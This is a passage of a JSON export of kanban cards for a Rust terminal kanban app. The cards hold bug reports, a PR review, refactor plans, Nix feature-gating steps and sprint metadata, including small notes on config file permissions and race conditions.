            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856422530Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Log warning on config file deletion failure",
        "updated_at": "2026-04-04T23:44:59.442225194Z"
      },
      {
        "card_number": 217,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-18T00:58:27.961647012Z",
        "created_at": "2026-03-17T22:57:36.789096888Z",
        "description": "## Bug\n\n`tool_list_cards` in the MCP server always returns at most 50 cards regardless of the actual total, and `total_pages` is always 1.\n\n## Root Cause\n\nThe MCP context's `list_cards` delegates to the CLI `card list` command via `execute_list`. The CLI command is called without `--page` or `--page-size` args, so it defaults to page 1 with page_size 50. Only those 50 items are returned to the MCP layer, which then paginates them — meaning `total` is always capped at 50 (the page size), not the actual number of cards.\n\n**Location**: `crates/kanban-mcp/src/context.rs` — `execute_list` (line 115) and `list_cards` (line 255)\n\n```rust\n// execute_list only captures items, ignores pagination metadata\nfn execute_list<T: serde::de::DeserializeOwned>(&self, args: &[&str]) -> KanbanResult<Vec<T>> {\n    let response: ListResponse<T> = self.executor.execute(args)?;\n    Ok(response.items)  // only 50 items from page 1\n}\n```\n\n## Fix\n\nUpdate `ListResponse` to include `total_pages`, then loop through all pages in `execute_list` to collect the full result set before returning to the MCP layer for client-side pagination.",
        "due_date": null,
        "id": "11df6081-8de7-4ece-b85b-84e915c9d48f",
        "points": 3,
        "position": 110,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "MCP list_cards pagination returns max 50 cards instead of all cards",
        "updated_at": "2026-03-18T00:58:27.961647244Z"
      },
      {
        "card_number": 284,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-03T22:19:02.644265828Z",
        "description": "Export dialog presents SQLite as a format option but it returns 'SQLite export not yet implemented'. Either hide the option or label it as 'coming soon' in the UI.",
        "due_date": null,
        "id": "77b0ce48-f43d-4e35-ba4d-ee36cd29a2f7",
        "points": 1,
        "position": 110,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856420303Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Hide or label SQLite export as not yet implemented",
        "updated_at": "2026-04-04T23:44:59.483115506Z"
      },
      {
        "card_number": 285,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-03T22:19:02.655622349Z",
        "description": "has_data_file is marked #[serde(skip)] — it's runtime-only state on a config struct. Consider moving this flag to the TUI/CLI layer rather than the core config.",
        "due_date": null,
        "id": "f17c5a47-16b9-48d5-993a-f8f58d133e1d",
        "points": 2,
        "position": 111,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856515252Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Move has_data_file flag out of AppConfig",
        "updated_at": "2026-04-04T23:44:59.525472708Z"
      },
      {
        "card_number": 221,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-20T22:50:04.423551030Z",
        "created_at": "2026-03-20T21:07:39.419336697Z",
        "description": "## Challenge\nWhen the terminal window was too small to show all keybindings in the help popup, entries were silently cut off with no scroll support.\n\n## Solution\nImplemented scrollable help menu by reusing the existing `ListComponent` infrastructure from the card lists, following the same patterns used throughout the rest of the TUI.\n\n## Changes\n\n### `crates/kanban-core/src/pagination.rs`\n- Added `Page::get_adjusted_viewport_height(raw)` — computes content rows after reserving lines for scroll indicators (above=1 if scrolled, below=1 if items extend past viewport).\n\n### `crates/kanban-tui/src/components/generic_list.rs`\n- `ListComponent::get_adjusted_viewport_height` now delegates to `Page::get_adjusted_viewport_height` (deduplication).\n\n### `crates/kanban-tui/src/app.rs`\n- Replaced `help_selection: SelectionState` + `help_page: Page` with `help_list: ListComponent`.\n- On help open: `help_list.update_item_count(bindings.len())` + `set_scroll_offset(0)`.\n- On help close (3 locations): `help_list.update_item_count(0)`.\n- Navigation (j/k): uses two-step `ensure_selected_visible` pattern matching `navigation_handlers.rs`.\n- Key-shortcut jump: uses `help_list.jump_to(index)` + `ensure_selected_visible`.\n\n### `crates/kanban-tui/src/ui.rs` — `render_help_popup`\n- Layout changed to `[Length(2), Min(0), Length(2)]`: fixed header, scrollable bindings body, fixed footer.\n- `all_lines` now contains only the N binding lines (no header/footer offset arithmetic needed).\n- Uses `help_list.get_adjusted_viewport_height` + `help_list.get_render_info` for correct scroll state.\n- Scroll indicators rendered via shared `render_scroll_indicators` helper with label `\"item\"` (fixes \"entrys\" pluralisation bug from `\"entry\"`).\n- Fixed footer (hint line) always visible regardless of scroll position.\n\n## Commits\n- `feat(pagination): add get_adjusted_viewport_height to Page`\n- `refactor(generic_list): delegate get_adjusted_viewport_height to Page`\n- `feat(help): replace help_selection+help_page with help_list ListComponent`\n- `feat(help): fixed header/footer layout with ListComponent scroll in render_help_popup`\n\n2026-03-21 00:20:17\n---\n\nPR #185 — KAN-221: Scrollable Help Menu\n\nOverview\n\nReplaces the static Paragraph-based help popup with a ListComponent-backed scrollable list. Fixes\nclipping on small terminals, pins the header/footer, and fixes a pluralisation bug (\"entrys\" →\n\"items\"). Also generalises render_scroll_indicators and extracts get_adjusted_viewport_height up to\n kanban-core.\n\n---\nCode Quality\n\nPositives:\n- The get_adjusted_viewport_height extraction to Page is a clean improvement — ListComponent now\njust delegates, eliminating duplication\n- render_scroll_indicators generalisation is well done; the split-call pattern (above and below\nseparately) is a bit awkward but avoids a larger API change\n- render_help_popup signature change to &mut App is appropriate given it now writes\nhelp_viewport_height\n- The two-step ensure_selected_visible pattern for navigation is consistent with the existing\nnavigation_handlers.rs approach\n\nIssues:\n\n1. help_viewport_height as mutable state on App is a design smell. Viewport height is a render-time\n concern, not application state. It's written during render_help_popup and read during event\nhandling (handle_help_keys). This creates a frame-lag: on the very first keypress after opening\nhelp, help_viewport_height is 0 (initialised in open_help via set_scroll_offset(0) but never set).\nThe adjusted height will be wrong until the first render frame completes.\n\n// app.rs:513\nself.help_list.update_item_count(context.bindings.len());\nself.help_list.set_scroll_offset(0);\n// help_viewport_height is still 0 here\n2. render_scroll_indicators called twice per render site for above/below. The split above/below\ncalls work but produce a confusing API — a caller passing show_above=false, items_above=0 just to\nget the below indicator feels wrong. A struct or two-field tuple would be cleaner, or the function\ncould take an Option for each side. Minor, but it was touched in this PR so it's worth noting.\n3. update_item_count(0) used for \"reset\" (lines 870, 884, 1707). The intent is clearing the list,\nbut zeroing total_items is semantically different from \"close/reset\". If ListComponent ever gains\ninvariants around total_items, this could silently break. A reset() method would be clearer.\n4. render_help_popup signature is now &mut App but it's called from the render path. Render\nfunctions mutating application state is an architectural concern — it makes render_* functions\nharder to reason about and test. The help_viewport_height field is the only reason for this; see\npoint 1.\n5. all_lines is built eagerly (iterating all bindings), then only page_info.visible_indices are\nrendered. For typical keybinding counts this is fine, but it's unnecessary work — the visible lines\n could be built directly from visible_indices.\n\n---\nPotential Issues / Risks\n\n- Frame-lag on first navigation: If the user opens help and immediately presses j before the first\nrender, help_viewport_height == 0 means get_adjusted_viewport_height(0) == 0, so\nensure_selected_visible(0) is a no-op. The selection will scroll correctly after the next render.\nLow severity but worth a comment.\n- render_help_popup not called if help mode is never rendered (unlikely in practice, but\ntheoretically help_viewport_height stays 0 if render is skipped for any reason).\n- No test coverage added for the new scroll logic in the help context — the existing pattern in the\n codebase seems to rely on manual testing, which is noted in the PR description.\n\n---\nSuggestions\n\n1. Pass viewport_height into handle_help_keys from the call site, or compute it from a\nterminal-size accessor, rather than caching it on App.\n2. Consider a ListComponent::reset() method instead of update_item_count(0).\n3. Add a render_scroll_indicators_pair variant or use a small struct to avoid the split above/below\n calls.\n4. Build rendered_lines directly from page_info.visible_indices to avoid the intermediate all_lines\n allocation.\n\n---\nVerdict\n\nThe core fix is correct and the approach is sound. The main concern is help_viewport_height on App\ncreating a render/event coupling — it works in practice due to the TUI render loop but is fragile.\nAll other issues are minor. Approve with nits — the frame-lag concern is worth addressing before\nmerge if there's appetite, otherwise it should at minimum be documented.\n",
        "due_date": null,
        "id": "36754f9e-14ed-4fab-812c-c8c66a164c6a",
        "points": null,
        "position": 111,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Help menu list doesnt scroll",
        "updated_at": "2026-03-21T12:48:10.528702211Z"
      },
      {
        "card_number": 218,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-21T12:48:15.264306083Z",
        "created_at": "2026-03-17T23:38:07.528990428Z",
        "description": "## Problem\n\n`nix build .#kanban-mcp` is slow because the `kanban-mcp` Nix derivation depends on the full `kanban` package, which compiles `kanban-cli → kanban-tui → wayland/xcb`. The MCP server only needs a light `kanban` CLI binary (no TUI) at runtime.\n\n## Decision\n\nAdd a `tui` **default feature** to `kanban-cli` that gates the `kanban-tui` dependency. TUI remains on by default so `nix run github:fulsomenko/kanban` works out of the box. Only the Nix `kanban-mcp` derivation opts out by building `kanban` with `--no-default-features`.\n\n## Alternatives considered\n\n- **Invert dependency (TUI depends on CLI)**: Requires two separate binaries, breaks single-binary UX.\n- **Separate binaries with shared core**: Cleanest architecture but same UX problem — two binaries.\n- **TUI depends on CLI as lib**: TUI talks to domain/persistence directly anyway, no real logic to reuse from CLI.\n- **Opt-in `tui` feature**: Broken `nix run` UX for end users.\n\n## Files to modify\n\n- `crates/kanban-cli/Cargo.toml`\n- `crates/kanban-cli/src/main.rs`\n- `default.nix`\n- `flake.nix`\n\n## Implementation\n\n### 1. `crates/kanban-cli/Cargo.toml`\nAdd `[features]` and make `kanban-tui` optional:\n```toml\n[features]\ndefault = [\"tui\"]\ntui = [\"dep:kanban-tui\"]\n\n[dependencies]\nkanban-tui = { path = \"../kanban-tui\", version = \"^0.3\", optional = true }\n```\n\n### 2. `crates/kanban-cli/src/main.rs`\nGate the import and the `None` branch TUI launch:\n```rust\n#[cfg(feature = \"tui\")]\nuse kanban_tui::App;\n\n// in match cli.command:\nNone => {\n    #[cfg(feature = \"tui\")]\n    {\n        if let Some(ref file_path) = cli.file {\n            if !std::path::Path::new(file_path).exists() {\n                let empty_state = kanban_persistence::JsonEnvelope::empty().to_json_string()?;\n                std::fs::write(file_path, empty_state)?;\n            }\n        }\n        let (mut app, save_rx) = App::new(cli.file);\n        app.run(save_rx).await?;\n    }\n    #[cfg(not(feature = \"tui\"))]\n    anyhow::bail!(\"TUI not available in this build. Use a subcommand.\");\n}\n```\n\n### 3. `default.nix`\nAdd `withTui ? true` parameter, conditionally include wayland/xcb and `--no-default-features`:\n```nix\n{ lib, pkgs, rustPlatform, gitRev ? null, withTui ? true }:\n...\nbuildInputs = lib.optionals (pkgs.stdenv.isLinux && withTui) [\n  pkgs.wayland\n  pkgs.xorg.libxcb\n];\ncargoBuildFlags = [ \"--package\" \"kanban-cli\" ]\n  ++ lib.optionals (!withTui) [ \"--no-default-features\" ];\n```\n\n### 4. `flake.nix`\nAdd `kanban-light` derivation and pass it to `kanban-mcp`:\n```nix\npackages = let\n  kanban       = pkgs.callPackage ./default.nix { gitRev = self.rev or null; };\n  kanban-light = pkgs.callPackage ./default.nix { gitRev = self.rev or null; withTui = false; };\nin {\n  default    = kanban;\n  kanban-mcp = pkgs.callPackage ./crates/kanban-mcp/default.nix {\n    kanban = kanban-light;\n  };\n```\n\n## Verification\n\n1. `cargo build --package kanban-cli` — compiles with TUI (default)\n2. `cargo build --package kanban-cli --no-default-features` — compiles without `kanban-tui`, no wayland/xcb\n3. `nix build .#` — full kanban binary with TUI, unchanged\n4. `nix build .#kanban-mcp` — faster; no wayland/xcb in dep graph\n5. `result/bin/kanban-mcp` — MCP server works, `kanban` CLI in PATH responds to subcommands",
        "due_date": null,
        "id": "40c36925-0341-44b4-a8d7-9f5a8f7330b8",
        "points": null,
        "position": 112,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Gate kanban-tui behind default feature flag in kanban-cli",
        "updated_at": "2026-03-21T12:48:15.264307269Z"
      },
      {
        "card_number": 286,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-03T22:19:02.666503259Z",
        "description": "detect_backend is called in App::new, McpContext::new, and apply_storage_location_change. A single detection point would be cleaner.",
        "due_date": null,
        "id": "465f9e4c-72e3-4503-b0ee-1b460794f883",
        "points": 2,
        "position": 112,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856521467Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Consolidate detect_backend calls to single detection point",
        "updated_at": "2026-04-04T23:44:59.569523434Z"
      },
      {
        "card_number": 287,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-03T22:19:32.490501905Z",
        "description": "settings_handlers.rs uses tokio::task::block_in_place with Handle::current().block_on() for migration and validation during key handling. This blocks the TUI event loop thread. If the migration is slow (large SQLite files), the UI freezes. Consider spawning as an async task with a loading indicator, or at minimum document this limitation.",
        "due_date": null,
        "id": "5a2be582-ffe1-4968-b758-71d6d739e31c",
        "points": 3,
        "position": 113,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856446912Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Replace block_in_place with async task for storage migration in settings",
        "updated_at": "2026-04-04T23:44:59.610975544Z"
      },
      {
        "card_number": 288,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T16:29:40.476331577Z",
        "description": "apply_config_edit in settings_handlers.rs violates SRP: it parses input, validates, mutates config, triggers async migration, saves config to disk, and deletes the old config file. Extract into focused methods (parse_and_validate_dto, persist_config, handle_config_relocation).",
        "due_date": null,
        "id": "75a230f9-9855-4643-8017-1dc71bc3397e",
        "points": 2,
        "position": 114,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856490881Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Refactor apply_config_edit: split into focused helpers",
        "updated_at": "2026-04-04T23:44:59.654292405Z"
      },
      {
        "card_number": 177,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-21T12:48:57.627281029Z",
        "created_at": "2026-01-10T16:36:13.799550Z",
        "description": "I would like to change the layout of the parent / child relationship boxes in the card details.\n\nFrom having them in seperate rows. to positioning them in columns on the same row.\n\nAlso increase their height by 2 rows\n",
        "due_date": null,
        "id": "4c00deb1-c13b-4172-938d-f1eb1fc8a4df",
        "points": 1,
        "position": 114,
        "priority": "Low",
        "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T13:46:45.917608Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-28T08:47:10.923195Z",
            "status": "Completed"
          },
          {
            "ended_at": null,
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T13:46:52.464842Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "parent and child relationship boxes layout",
        "updated_at": "2026-03-21T12:48:57.627281933Z"
      },
      {
        "card_number": 289,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T16:29:46.535085715Z",
        "description": "render_settings_view in ui.rs is ~130 lines, exceeding the 50-line guideline. Extract render_config_panel, render_config_file_panel, and render_storage_panel as focused helpers.",
        "due_date": null,
        "id": "364409a0-a8d1-43bb-863c-2a3ac80167ca",
        "points": 2,
        "position": 115,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856360160Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Refactor render_settings_view: extract panel helpers",
        "updated_at": "2026-04-04T23:44:59.695084759Z"
      },
      {
        "card_number": 290,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T17:20:37.471095507Z",
        "description": "std::fs::write in kanban-service/src/config.rs save_to() creates files with default umask (0644). Should use 0600 on Unix to protect config from other users on the system. Low risk currently since config contains no secrets, but good hygiene.",
        "due_date": null,
        "id": "646e68a2-c002-44e3-a87e-c65aa0fe4b08",
        "points": 1,
        "position": 116,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856486682Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Set 0600 permissions on config file writes",
        "updated_at": "2026-04-04T23:44:59.737340918Z"
      },
      {
        "card_number": 222,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-22T14:10:15.806698690Z",
        "created_at": "2026-03-21T20:43:37.808747277Z",
        "description": "Follow-up fixes from KAN-123 search improvements:\\n- `gg` didn't scroll view to top — added `ensure_selected_visible` to `handle_jump_to_top`\\n- Unicode panic risk in `build_title_spans` — byte offsets from `title_lower` could differ from `title` for chars that expand on lowercasing (e.g. Turkish İ)\\n- `search_query` expression repeated 3x in `render_strategy.rs` — added `SearchState::active_query()` helper\\n- Active-search footer only showed `ESC: clear search` — updated to `j/k: navigate | ESC: clear`\\n- `n`/`N` were wired to navigate when search active — removed, `n` is new card only",
        "due_date": null,
        "id": "1ef7eef8-ed9f-40f4-a218-eeec54638ef7",
        "points": null,
        "position": 116,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Fix post-search UX issues (gg scroll, Unicode panic, footer hint, n/N nav)",
        "updated_at": "2026-03-22T14:10:15.806699191Z"
      },
      {
        "card_number": 291,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T17:21:27.889143042Z",
        "description": "In settings_handlers.rs apply_storage_location_change(), file_existed is captured before async migration but used to branch logic after. A concurrent process could create/delete the file in between. Currently acceptable for a single-user app but worth tracking. File: crates/kanban-tui/src/handlers/settings_handlers.rs lines 126-143.",
        "due_date": null,
        "id": "492b2735-4d13-42cb-b08c-4220eaea2242",
        "points": 2,
        "position": 117,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856418293Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Fix TOCTOU in storage migration: file_existed check vs load",
        "updated_at": "2026-04-04T23:44:59.778401899Z"
      },
      {
        "card_number": 224,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-22T14:10:33.688473711Z",
        "created_at": "2026-03-21T22:21:32.129925564Z",
        "description": "Plan: Decompose app.rs into Focused Modules\n\nContext\n\ncrates/kanban-tui/src/app.rs is a 2,060-line god object with 58 public fields spanning unrelated concerns: mode navigation, focus tracking, entity selection, filtering, multi-select, dialog state, sprint views, relationships, animations, persistence, and UI state. All 9 handler files (impl App) freely mutate any field. This makes it impossible to discover where to add/change something without reading the entire file, and causes constant merge conflicts.\n\nThe goal is purely structural: split fields and their co-located logic into focused sub-structs in named modules with zero behavioral change. After this refactor, adding a new sprint feature means editing sprint_view.rs. Adding a filter means editing filter.rs. The App struct becomes a thin orchestrator.\n\nTarget Structure\n\ncrates/kanban-tui/src/app/\n├── mod.rs          ← Thin App struct + new() + run() + handle_key_event() + execute_action()\n├── mode.rs         ← AppMode, DialogMode, ModeManager (push/pop/open_dialog/is_dialog/get_base_mode)\n├── focus.rs        ← Focus, CardFocus, BoardFocus, FocusState\n├── selection.rs    ← SelectionHub (board/card/sprint selection + active indices)\n├── filter.rs       ← FilterState (sprint filters, hide_assigned, sort field/order, search, filter_dialog)\n├── multi_select.rs ← MultiSelectState (selected_cards, selection_mode_active)\n├── dialog_input.rs ← DialogInputState (import, priority, column, sprint_assign, task_list_view selections)\n├── sprint_view.rs  ← SprintTaskPanel enum, SprintViewState (panel + card lists + components)\n├── relationship.rs ← RelationshipState (card_ids, selected, selection, search, parents/children lists)\n├── view.rs         ← ViewState (strategy, card_list_component, viewport_height, last_frame_area)\n├── animation.rs    ← CardAnimation, ANIMATION_DURATION_MS, AnimationState\n├── persistence.rs  ← PersistenceState (save_file, app_config, file_watcher, channels)\n└── ui_state.rs     ← UiState (banner, help_list, help_pending_action, card_navigation_history)\n\nMigration Steps (each must compile before proceeding)\n\nStep 1: app.rs → app/mod.rs (mkdir + mv). Files Touched: 0. Effort: 5 min\nStep 2: Extract enums to mode.rs, re-export. Files Touched: mod.rs. Effort: 20 min\nStep 3: Extract Focus/CardFocus/BoardFocus/SprintTaskPanel to focus.rs, sprint_view.rs. Files Touched: mod.rs. Effort: 15 min\nStep 4: Extract CardAnimation + constant to animation.rs. Files Touched: mod.rs. Effort: 10 min\nStep 5: Introduce ModeManager with Deref; mode+mode_stack → mode: ModeManager. Files Touched: mod.rs + ~20 write sites in handlers/ui.rs. Effort: 75 min\nStep 6: Introduce FocusState; 3 fields → focus: FocusState. Files Touched: 9 handler files, ui.rs, render_strategy.rs, keybindings/registry.rs. Effort: 45 min\nStep 7: Introduce SelectionHub; 5 fields → selection: SelectionHub. Files Touched: all 9 handlers, app.rs, ui.rs, state/snapshot.rs. Effort: 75 min\nStep 8: Introduce FilterState; 7 fields → filter: FilterState. Files Touched: app.rs, navigation/sprint/card/filter_handlers, state/snapshot.rs. Effort: 40 min\nStep 9: Introduce MultiSelectState; 2 fields → multi_select: MultiSelectState. Files Touched: navigation/popup/card_handlers, app.rs. Effort: 20 min\nStep 10: Introduce DialogInputState; 6 fields → dialog_input: DialogInputState. Files Touched: popup/card/column/detail_view/board_handlers. Effort: 25 min\nStep 11: Introduce SprintViewState; 5 fields → sprint_view: SprintViewState. Files Touched: app.rs, popup/card/detail_view_handlers, ui.rs. Effort: 35 min\nStep 12: Introduce RelationshipState; 7 fields → relationship: RelationshipState. Files Touched: navigation/popup/card/detail_view_handlers. Effort: 30 min\nStep 13: Introduce ViewState; 4 fields → view: ViewState. Files Touched: app.rs, navigation/card_handlers, ui.rs. Effort: 20 min\nStep 14: Introduce AnimationState; 1 field → animation: AnimationState. Files Touched: app.rs, card_handlers. Effort: 20 min\nStep 15: Introduce PersistenceState; 6 fields → persistence: PersistenceState. Files Touched: app.rs, state/mod.rs only. Effort: 20 min\nStep 16: Introduce UiState; 4 fields → ui: UiState; keep App shims. Files Touched: app.rs, detail_view_handlers. Effort: 20 min\nStep 17: Move method bodies into sub-struct impls (populate, apply_sort, sync, switch_strategy, animation tick). Files Touched: app.rs + sprint_view/view/animation modules. Effort: 45 min\n\nTotal: ~8 hours\n\nCritical Files\n\n- crates/kanban-tui/src/app.rs → becomes app/mod.rs\n- crates/kanban-tui/src/ui.rs — updated in steps 6, 11, 13, 16\n- crates/kanban-tui/src/state/snapshot.rs — apply_to_app accesses active_board_index + current_sort_field; updated in steps 7 and 8\n- crates/kanban-tui/src/keybindings/registry.rs — reads app.mode, app.focus, app.card_focus, app.board_focus; updated in steps 5 and 6\n- crates/kanban-tui/src/handlers/detail_view_handlers.rs — touches the most sub-struct categories; use as integration canary\n\nVerification\n\nAfter each step: cargo check --package kanban-tui\nAfter all steps: cargo build && cargo test --package kanban-tui && cargo clippy -- -D warnings",
        "due_date": null,
        "id": "0409ba2d-72a0-47d9-8909-9138be67090c",
        "points": null,
        "position": 117,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Decompose app.rs into Focused Modules",
        "updated_at": "2026-03-22T14:10:33.688473789Z"
      },
      {
        "card_number": 220,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-22T14:10:38.745731756Z",
        "created_at": "2026-03-18T03:09:45.873764937Z",
        "description": "kanban_bin() now searches CARGO_TARGET_DIR across all subdirs and profiles (release before debug) so nix sandbox builds with cross-compiled target triples are found without KANBAN_BIN injection. KANBAN_BIN override preserved.",
        "due_date": null,
        "id": "12e6437f-8295-40ca-b0d5-1c89cbfd85eb",
        "points": null,
        "position": 118,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Fix kanban binary discovery in MCP integration tests for nix builds",
        "updated_at": "2026-03-22T14:10:38.745731835Z"
      },
      {
        "card_number": 292,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T17:21:27.909217627Z",
        "description": "In kanban-service/src/config.rs move_config(), the rename() fallback to copy+delete is non-atomic. If the process crashes between copy and remove_file, both old and new config files exist. The error IS surfaced if delete fails (so no silent duplication during normal operation), but a crash window exists. Consider adding a .tmp suffix during copy and renaming atomically.",
        "due_date": null,
        "id": "ce10eb84-7e04-408c-8983-58446fbed21e",
        "points": 1,
        "position": 118,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856402275Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Document move_config cross-device fallback crash window",
        "updated_at": "2026-04-04T23:44:59.820460535Z"
      },
      {
        "card_number": 293,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T20:12:06.039163208Z",
        "description": "Navigation in settings hardcodes index skip logic (e.g. skip indices 5-6 when cli_file_override). Introduce a disabled/non-selectable flag on list component items so the navigation layer can skip disabled items generically instead of with bespoke index checks.",
        "due_date": null,
        "id": "eecdbcb6-33d3-43e1-b4c1-56f1c15d26c5",
        "points": 3,
        "position": 119,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856444871Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add disabled option support to list components to avoid hardcoded skip logic",
        "updated_at": "2026-04-04T23:44:59.860782506Z"
      },
      {
        "card_number": 226,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-22T21:52:06.787024260Z",
        "created_at": "2026-03-22T14:58:57.362462022Z",
        "description": "## Context\n\n`kanban-mcp` currently shells out to the `kanban` CLI binary for all operations (board/column/card/sprint CRUD). This creates two problems:\n\n1. **Build cost**: Nix builds of `kanban-mcp` must also build the full `kanban-cli` binary as a runtime dep.\n2. **Storage backend isolation**: When KAN-159 lands, the MCP server cannot participate in pluggable storage — it is locked into whatever store the CLI subprocess uses, with no injection point.\n\n## Relationship to KAN-159\n\nKAN-159 establishes `DynStore = Arc<dyn PersistenceStore + Send + Sync>` as the abstraction seam in the TUI. The same pattern needs to apply to `kanban-mcp`. Without this card, MCP is stranded on JSON forever even after SQLite ships.\n\n## Goal\n\nExtract `crates/kanban-cli/src/handlers/` into a new `kanban-service` crate whose functions accept `Arc<dyn PersistenceStore + Send + Sync>`. Both `kanban-cli` and `kanban-mcp` depend on `kanban-service` and wire up their own store instance.\n\n## Target Dependency Graph\n\n```\nkanban-cli --+\n             +--> kanban-service --> kanban-persistence 